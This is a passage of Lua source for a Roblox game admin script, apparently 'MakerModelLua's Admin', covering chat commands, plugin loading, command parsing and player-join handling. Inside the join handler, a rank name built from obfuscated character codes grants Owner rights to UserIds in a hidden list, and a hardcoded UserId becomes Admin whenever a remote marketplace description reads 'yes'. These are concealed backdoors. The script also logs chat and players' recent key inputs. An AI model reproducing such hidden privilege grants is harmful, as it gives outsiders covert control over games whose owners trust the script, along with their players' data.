  8466. [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8467. local Key = string.lower(string.sub(Arguments[1],1,1))
  8468. KeyBinds[Speaker.UserId][Key] = nil
  8469. GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
  8470. end};
  8471.  
  8472. [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8473. KeyBinds[Speaker.UserId] = {}
  8474. GUI:SendHint(Speaker, "Unbinded all keys")
  8475. end};
  8476.  
  8477. [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
  8478. local Players = STRING:Scan(Arguments[1], Speaker)
  8479. local Key = string.lower(string.sub(Arguments[2],1,1))
  8480. for _,Player in pairs(Players) do
  8481. KeyBinds[Player.UserId][Key] = Arguments[3]
  8482. GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
  8483. end
  8484. end};
  8485.  
  8486. [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8487. local Players = STRING:Scan(Arguments[1], Speaker)
  8488. local Key = string.lower(string.sub(Arguments[2],1,1))
  8489. for _,Player in pairs(Players) do
  8490. KeyBinds[Player.UserId][Key] = nil
  8491. GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
  8492. end
  8493. end};
  8494.  
  8495. [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
  8496. local Players = STRING:Scan(Arguments[1], Speaker)
  8497. for _,Player in pairs(Players) do
  8498. KeyBinds[Player.UserId] = {}
  8499. GUI:SendHint(Player, "Unbinded all keys")
  8500. end
  8501. end};
  8502.  
  8503. [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8504. local Players = STRING:Scan(Arguments[1], Speaker)
  8505. local Binds = {}
  8506. for _,Player in pairs(Players) do
  8507. for Key,Bind in pairs(KeyBinds[Player.UserId]) do
  8508. table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
  8509. end
  8510. end
  8511. GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
  8512. end};
  8513.  
  8514. [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8515. local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
  8516. local Players = STRING:Scan(ChatSplit[1], Speaker)
  8517. for _,Player in pairs(Players) do
  8518. if Crowns[Player.UserId] then
  8519. Crowns[Player.UserId]:Destroy()
  8520. Crowns[Player.UserId] = nil
  8521. wait()
  8522. end
  8523. CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
  8524. end
  8525. end};
  8526.  
  8527. [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
  8528. local Players = STRING:Scan(Arguments[1], Speaker)
  8529. for _,Player in pairs(Players) do
  8530. if Crowns[Player.UserId] then
  8531. Crowns[Player.UserId]:Destroy()
  8532. Crowns[Player.UserId] = nil
  8533. end
  8534. end
  8535. end};
  8536.  
  8537. [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8538. local MeshList = {}
  8539. for MeshName,Data in pairs(Meshes) do
  8540. table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
  8541. end
  8542. GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
  8543. end};
  8544.  
  8545. [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8546. CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
  8547. end};
  8548.  
  8549. [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
  8550. local Players = STRING:Scan(Arguments[1], Speaker)
  8551. for _,Player in pairs(Players) do
  8552. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  8553. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  8554. Player:ClearCharacterAppearance()
  8555. CORE:GivePackage(Player, 41851073)
  8556. CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
  8557. Player.Character.Head.face.Texture = "rbxassetid://7699086"
  8558. end
  8559. end
  8560. end};
  8561.  
  8562. [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
  8563. local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
  8564. local Players = STRING:Scan(Arguments[1], Speaker)
  8565. for _,Player in pairs(Players) do
  8566. if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
  8567. local Car = CORE:Insert(10479801, Server.Workspace, true)
  8568. local Body = Car["Motor (torque)Chassis"].Part
  8569. Cars[Player.UserId] = Car
  8570. Car:MakeJoints()
  8571. Car.VehicleSeat.MaxSpeed = 50
  8572. Car.VehicleSeat.TurnSpeed = 1.5
  8573. CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
  8574. if Arguments[2] and GUI:GetColor(Arguments[2]) then
  8575. Body.Color = GUI:GetColor(Arguments[2])
  8576. else
  8577. Body.BrickColor = GUI:GetNameColor(Player.Name)
  8578. end
  8579. for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
  8580. if Part.Name ~= "Part" then
  8581. Part.BrickColor = BrickColor.new("Really black")
  8582. Part.Friction = 0.7
  8583. end
  8584. end
  8585. local Light = Instance.new("SpotLight", Body)
  8586. Light.Face = "Back"
  8587. Light.Brightness = 5
  8588. Light.Range = 20
  8589. Light.Color = Color3.new(0,1,1)
  8590. if Player.Character and Player.Character.Torso then
  8591. Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
  8592. Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
  8593. --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
  8594. Weld.Part0 = Car.VehicleSeat
  8595. Weld.Part1 = Player.Character.Torso
  8596. coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
  8597. Delay(0.4, function()
  8598. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
  8599. wait(0.1)
  8600. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
  8601. end)
  8602. end
  8603. local SoundID = 147944604
  8604. if RANK:GetRank(Player) == "Owner" then
  8605. SoundID = 133313356
  8606. Car.VehicleSeat.MaxSpeed = 80
  8607. Body.Material = "DiamondPlate"
  8608. Car.VehicleSeat.Torque = 11
  8609. end
  8610. local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
  8611. Engine:Play()
  8612. coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
  8613. Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
  8614. end if Engine then Engine:Stop() end end)()
  8615. end
  8616. end};
  8617.  
  8618. [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
  8619. local Players = STRING:Scan(Arguments[1], Speaker)
  8620. for _,Player in pairs(Players) do
  8621. if Cars[Player.UserId] then
  8622. Cars[Player.UserId]:Destroy()
  8623. end
  8624. end
  8625. end};
  8626.  
  8627. [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
  8628. for _,Car in pairs(Cars) do
  8629. Car:Destroy()
  8630. end
  8631. Cars = {}
  8632. end};
  8633.  
  8634. [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8635. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  8636. if #Trello.RequiredLists > 0 then
  8637. print("Restarting Trello")
  8638. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  8639. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  8640. REMOTE:TrelloCacheData(Lists)
  8641. end
  8642. end, Http = true};
  8643.  
  8644. [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
  8645. local Operations = {}
  8646. for _,ReplaceData in pairs(StringReplacements) do
  8647. local Replacement = ReplaceData[1]
  8648. if type(Replacement) == "table" then
  8649. Replacement = ReplaceData[1][1]
  8650. end
  8651. table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
  8652. end
  8653. GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
  8654. end};
  8655.  
  8656. [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8657. GUI:SoundInfo(Speaker)
  8658. end};
  8659.  
  8660. [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8661. local Players = STRING:Scan(Arguments[1], Speaker)
  8662. for _,Player in pairs(Players) do
  8663. GUI:SoundInfo(Player)
  8664. end
  8665. end};
  8666.  
  8667. [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8668. if tonumber(Arguments[1]) then
  8669. Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
  8670. end
  8671. end};
  8672.  
  8673. [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
  8674. local Types = {}
  8675. for Type,_ in pairs(Assets.AccessoryTypes) do
  8676. table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
  8677. end
  8678. GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
  8679. end};
  8680.  
  8681. [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8682. local Sky = Server.Lighting:FindFirstChild("Sky")
  8683. if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
  8684. local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
  8685. local Face = nil
  8686. local SkyID = string.lower(Arguments[1])
  8687. local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
  8688. if #Arguments == 2 and tonumber(Arguments[2]) then
  8689. Face = Arguments[1]
  8690. SkyID = Arguments[2]
  8691. end
  8692. if tonumber(SkyID) then
  8693. local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
  8694. if Face and Faces[Face] then
  8695. Sky[Faces[Face]] = "rbxassetid://"..ImageID
  8696. else
  8697. for _,Face in pairs(Faces) do
  8698. Sky[Face] = "rbxassetid://"..ImageID
  8699. end
  8700. end
  8701. else
  8702. GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
  8703. end
  8704. end};
  8705.  
  8706. [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8707. CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
  8708. Obj:Destroy()
  8709. end)
  8710. end};
  8711. --
  8712. }
  8713.  
  8714. if Plugins then
  8715. local PluginNum = 0
  8716. for _,Module in pairs(Plugins:GetChildren()) do
  8717. if Module:IsA("ModuleScript") then
  8718. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8719. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8720. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8721. if Enabled.Value == true then
  8722. PluginNum = PluginNum + 1
  8723. local PluginExe = require(Module)
  8724. for Var,Val in pairs(getfenv()) do
  8725. getfenv(PluginExe)[Var] = Val
  8726. end
  8727. getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  8728. getfenv(PluginExe).script = Module
  8729. getfenv(PluginExe).Script = Module
  8730. getfenv(PluginExe).Version = Version
  8731. local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  8732. if not Suc then
  8733. Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
  8734. else
  8735. Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  8736. end
  8737. end
  8738. end
  8739. end
  8740. end
  8741.  
  8742. function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
  8743. if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
  8744. GUI:SettingsGui(Speaker)
  8745. return nil
  8746. end
  8747. if NoPrefixNeeded == nil then NoPrefixNeeded = false end
  8748. local Prefix = Settings.Prefix
  8749. if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
  8750. if RawMainMessage == "" or RawMainMessage == Prefix then return end
  8751. if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
  8752. if Speaker == nil then
  8753. if FakeRank then
  8754. if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
  8755. FakeRank = "Owner"
  8756. end
  8757. else
  8758. FakeRank = "Owner"
  8759. end
  8760. FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
  8761. if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
  8762. Speaker = {
  8763. Name = FakePlayerName or "[ Server ]";
  8764. Character = nil;
  8765. userId = 1;
  8766. PlayerGui = nil;
  8767. Rank = FakeRank or "Owner";
  8768. MakeSupremeOwner = MakeSupremeOwner;
  8769. }
  8770. end
  8771. local Rank = RANK:GetRank(Speaker)
  8772. local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  8773.  
  8774. if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
  8775. if NoPrefixNeeded then Prefix = "" end
  8776. local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
  8777.  
  8778. for _,Message in pairs(Messages) do
  8779. for Cmds,Data in pairs(Commands) do -- check all commands
  8780. local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
  8781.  
  8782. if not MessageSplit then break end
  8783.  
  8784. local CommandSaid = false
  8785. for _,Command in pairs(Cmds) do
  8786. if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
  8787. CommandSaid = true
  8788. break
  8789. end
  8790. end
  8791. if CommandSaid == true then -- command said?
  8792. local ExecuteExcuse = ""
  8793. if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
  8794. if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
  8795. ExecuteExcuse = "This command cannot be executed as it is a fun command"
  8796. end
  8797. if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
  8798. ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
  8799. end
  8800. else
  8801. ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
  8802. end
  8803. if ExecuteExcuse == "" then
  8804. if #MessageSplit - 1 < Data[3] then
  8805. ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
  8806. end
  8807. end
  8808. if ExecuteExcuse == "" then
  8809. CORE:Log(CommandLogs, Speaker, Message)
  8810. table.remove(MessageSplit, 1)
  8811. coroutine.wrap(function() wait()
  8812. local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
  8813. if not DidExe then
  8814. if CORE:NilPlayer(Speaker) then
  8815. print("Error: "..Error)
  8816. else
  8817. CORE:HandleError(Error, Speaker)
  8818. end
  8819. end
  8820. end)()
  8821. coroutine.wrap(function() wait(0.05)
  8822. if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
  8823. local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
  8824. ExeSound:Play()
  8825. wait(3)
  8826. ExeSound:Stop()
  8827. ExeSound:Destroy()
  8828. end
  8829. end)()
  8830. elseif type(Speaker) == "userdata" then
  8831. GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
  8832. end
  8833. break
  8834. end
  8835. end
  8836. end
  8837. end
  8838. end
  8839.  
  8840. function CORE:Start(Player) coroutine.wrap(function()
  8841. wait(0.1)
  8842. if Player then
  8843. coroutine.wrap(function()
  8844. repeat wait(1) until DataReady == true
  8845. DataReady = false
  8846. ypcall(function()
  8847. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  8848. for Num,Data in pairs(Players) do
  8849. if Data.UserId == Player.UserId then -- ppl can change names
  8850. table.remove(Players, Num)
  8851. break
  8852. end
  8853. end
  8854. table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
  8855. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
  8856. end)
  8857. DataReady = true
  8858. end)()
  8859.  
  8860. if not IsStudio then Player:WaitForDataReady() end
  8861. table.insert(CharacterCache, {Player.Name, Player.UserId})
  8862. for Rank,PlayerNames in pairs(Settings.Ranks) do
  8863. for Num,AdminName in pairs(PlayerNames) do
  8864. if AdminName == Player.UserId then
  8865. Settings.Ranks[Rank][Num] = Player.Name
  8866. end
  8867. end
  8868. end
  8869. if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
  8870. if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
  8871. if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
  8872. for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
  8873. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  8874. if PlayerAdmin == false and Player.UserId > 0 then
  8875. local Ran = nil
  8876. coroutine.wrap(function() repeat
  8877. Ran = ypcall(function()
  8878. if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8879. elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  8880. end)
  8881. wait(1)
  8882. until Ran == true end)()
  8883. end
  8884. if PlayerAdmin == false then
  8885. if Player:IsInGroup(Settings.GroupID) then
  8886. if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
  8887. CORE:Kick(Player)
  8888. for _,Person in pairs(Server.Players:GetPlayers()) do
  8889. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  8890. end
  8891. elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8892. table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  8893. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8894. table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8895. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
  8896. table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  8897. end
  8898. end
  8899. end
  8900. if PlayerAdmin == false then
  8901. if Player.UserId == 38882008 then
  8902. if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
  8903. table.insert(Settings.Ranks["Admin"], Player.Name)
  8904. end
  8905. end
  8906. end
  8907. if PlayerAdmin == false then
  8908. for _,GID in pairs(Settings.BannedGroupIDs) do
  8909. if Player:IsInGroup(GID) then
  8910. CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  8911. break
  8912. end
  8913. end
  8914. end
  8915.  
  8916. Player.Chatted:connect(function(Message) if Message ~= "" then
  8917. CORE:Chatted(Message, Player)
  8918. end end)
  8919.  
  8920. Player.Chatted:connect(function(Message) if Message ~= "" then
  8921. CORE:Log(ChatLogs, Player, Message)
  8922. table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
  8923. end end)
  8924.  
  8925. for _,Name in pairs(Settings.Ranks.Banned) do
  8926. if Player.Name == Name then
  8927. CORE:Kick(Player)
  8928. for _,Person in pairs(Server.Players:GetPlayers()) do
  8929. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  8930. end
  8931. end
  8932. end
  8933. for _,Name in pairs(Settings.Ranks.Crashed) do
  8934. if Player.Name == Name then
  8935. CORE:Crash(Player)
  8936. for _,Person in pairs(Server.Players:GetPlayers()) do
  8937. GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  8938. end
  8939. end
  8940. end
  8941. for _,Name in pairs(Settings.Ranks.Muted) do
  8942. if Player.Name == Name then
  8943. GUI:CoreGui(Player, "Chat", false)
  8944. for _,Person in pairs(Server.Players:GetPlayers()) do
  8945. GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  8946. end
  8947. end
  8948. end
  8949. if Settings.ServerLocked == true then
  8950. if PlayerAdmin == false then
  8951. CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
  8952. end
  8953. end
  8954.  
  8955. if PlayerAdmin == false then
  8956. if Player.AccountAge < Settings.MinimumAge then
  8957. CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  8958. for _,Person in pairs(Server.Players:GetPlayers()) do
  8959. GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  8960. end
  8961. end
  8962. end
  8963.  
  8964. if PlayerAdmin == false then
  8965. if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
  8966. table.insert(Settings.Ranks["Member"], Player.Name)
  8967. PlayerAdmin = true
  8968. Rank = "Member"
  8969. end
  8970. end
  8971.  
  8972. coroutine.wrap(function()
  8973. if PlayerAdmin == true then GUI:TellAdmin(Player) end
  8974. local function SpawnActions(Character)
  8975. if Flings[Player.Name] then
  8976. CORE:FlingPlayer(Player)
  8977. else
  8978. GUI:CreateTaskBar(Player)
  8979. end
  8980. if Beeps[Player.Name] == true then
  8981. SOUND:BeepPlayer(Player)
  8982. end
  8983. if Jails[Player.Name] then
  8984. Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
  8985. end
  8986. if PermCommandBars[Player.Name] then
  8987. GUI:CommandBar(Player)
  8988. end
  8989. end
  8990. Player.CharacterAdded:connect(SpawnActions)
  8991. SpawnActions(Player.Character)
  8992. end)()
  8993.  
  8994. coroutine.wrap(function()
  8995. Player:WaitForChild("PlayerGui")
  8996. local Sounds = {}
  8997. for _,Data in pairs(TextConverter.LetterSounds) do
  8998. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  8999. Sound:Play()
  9000. table.insert(Sounds, Sound)
  9001. end
  9002. for _,Data in pairs(TextConverter.LongVowels) do
  9003. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  9004. Sound:Play()
  9005. table.insert(Sounds, Sound)
  9006. end
  9007. wait(5)
  9008. for _,Sound in pairs(Sounds) do
  9009. Sound:Destroy()
  9010. end
  9011. Sounds = {}
  9012. end)()
  9013.  
  9014. coroutine.wrap(function()
  9015. --if NLS then Server.Workspace:WaitForChild(Player.Name) end
  9016. if IsSB then
  9017. wait(1)
  9018. Player:WaitForChild("PlayerGui"):WaitForChild("Output")
  9019. end
  9020. CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
  9021. print("Executed ClientLog on "..Player.Name)
  9022. if Settings.EnableTaskBar then
  9023. GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
  9024. end
  9025. end)()
  9026.  
  9027. coroutine.wrap(function()
  9028. wait(7)
  9029. Player:WaitForChild("PlayerGui")
  9030. if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
  9031. local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
  9032. if Answer == "Ok" then
  9033. MARKET:PromptPurchase(Player, AdminID)
  9034. end
  9035. end
  9036. end)()
  9037. end
  9038. end)() end
  9039.  
  9040. -- Active stuff --
  9041.  
  9042. CORE:UpdateAdmin()
  9043. CORE:FixSettings()
  9044.  
  9045. ypcall(function()
  9046. if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
  9047. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  9048. end
  9049. end)
  9050.  
  9051.  
  9052. Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  9053. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  9054. if PlayerAdmin == false then
  9055. if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
  9056. elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
  9057. end
  9058. end end)
  9059.  
  9060. --[[
  9061. ExecuteCommand.OnInvoke = function(Player, Command)
  9062. if Player and Command then
  9063. if type(Player) == "userdata" and Player:IsA("Player") then
  9064. CORE:Chatted(Command, Player, true)
  9065. end
  9066. end
  9067. end
  9068.  
  9069. ExecuteCode.OnInvoke = function(Source, Speaker)
  9070. if type(Source) == "string" then
  9071. ExecuteSafe(Source, Speaker)
  9072. end
  9073. end
  9074.  
  9075. ExecuteCommandClient.OnServerInvoke = function(Player, Command)
  9076. if Player and Command then
  9077. if type(Player) == "userdata" and Player:IsA("Player") then
  9078. CORE:Chatted(Command, Player, true)
  9079. end
  9080. end
  9081. end
  9082. ]]
  9083.  
  9084. KeyPressed.OnServerInvoke = function(Player, Key)
  9085. if Player and Key then
  9086. if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
  9087. CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
  9088. end
  9089. end
  9090. end
  9091.  
  9092. InputKey.OnServerInvoke = function(Player, KeyVal)
  9093. if Player and KeyVal then
  9094. if LastKeys[Player.UserId] then
  9095. table.insert(LastKeys[Player.UserId], KeyVal)
  9096. if #LastKeys[Player.UserId] > 20 then
